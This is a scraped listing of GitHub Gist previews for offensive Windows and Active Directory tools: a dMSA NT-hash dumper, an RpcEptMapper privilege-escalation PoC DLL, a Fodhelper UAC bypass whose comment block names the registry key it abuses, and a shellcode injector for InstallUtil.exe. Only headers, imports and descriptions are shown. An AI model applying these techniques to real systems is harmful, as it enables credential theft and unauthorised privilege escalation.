ThePirateWhoSmellsOfSunflowers
/ badsuccessordumper.py
Last active
October 27, 2025 16:42
This script retrieves NT hashes of all domain users and computers using a dMSA
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import argparse | |
| import datetime | |
| import logging | |
| import os | |
| import random | |
| import struct | |
| import sys | |
| from binascii import hexlify, unhexlify | |
| from six import ensure_binary |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| use DynaLoader; | |
| use Devel::Peek; | |
| use Fcntl; | |
| use 5.008001; # because 5.6 doesn't have B::PV::object_2svref | |
| use Config; | |
| use B (); # for B::PV | |
| sub mmap { | |
| my ($addr, $size, $protect, $flags) = @_; | |
| syscall(197, $addr, $size, $protect, $flags, -1, 0); |
itm4n
/ DllRpcEndpointMapperPoc.cpp
Created
November 8, 2020 12:03
Windows 7-2008R2 RpcEptMapper Service Insecure Registry Permissions EoP - PoC DLL
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <iostream> | |
| #include <Windows.h> | |
| #include <Lmcons.h> // UNLEN + GetUserName | |
| #include <tlhelp32.h> // CreateToolhelp32Snapshot() | |
| #include <strsafe.h> | |
| extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext); | |
| extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned); | |
| extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData(); |
netbiosX
/ FodhelperUACBypass.ps1
Last active
September 24, 2025 20:26
Bypass UAC via Fodhelper binary in Windows 10 systems
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| This script can bypass User Access Control (UAC) via fodhelper.exe | |
| It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform UAC bypass and starts | |
| an elevated command prompt. | |
| .NOTES | |
| Function : FodhelperUACBypass | |
| File Name : FodhelperUACBypass.ps1 |
nicholasmckinney
/ rwxHunter.cs
Created
May 8, 2017 00:33
Locate a RWX Region in memory in InstallUtil.exe - Copy Shellcode Into It and Execute. Avoid VirtuallAlloc Call
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.Net; | |
| using System.Diagnostics; | |
| using System.Reflection; | |
| using System.Configuration.Install; | |
| using System.Runtime.InteropServices; | |
| /* | |
| Author: Casey Smith, Twitter: @subTee | |
| License: BSD 3-Clause |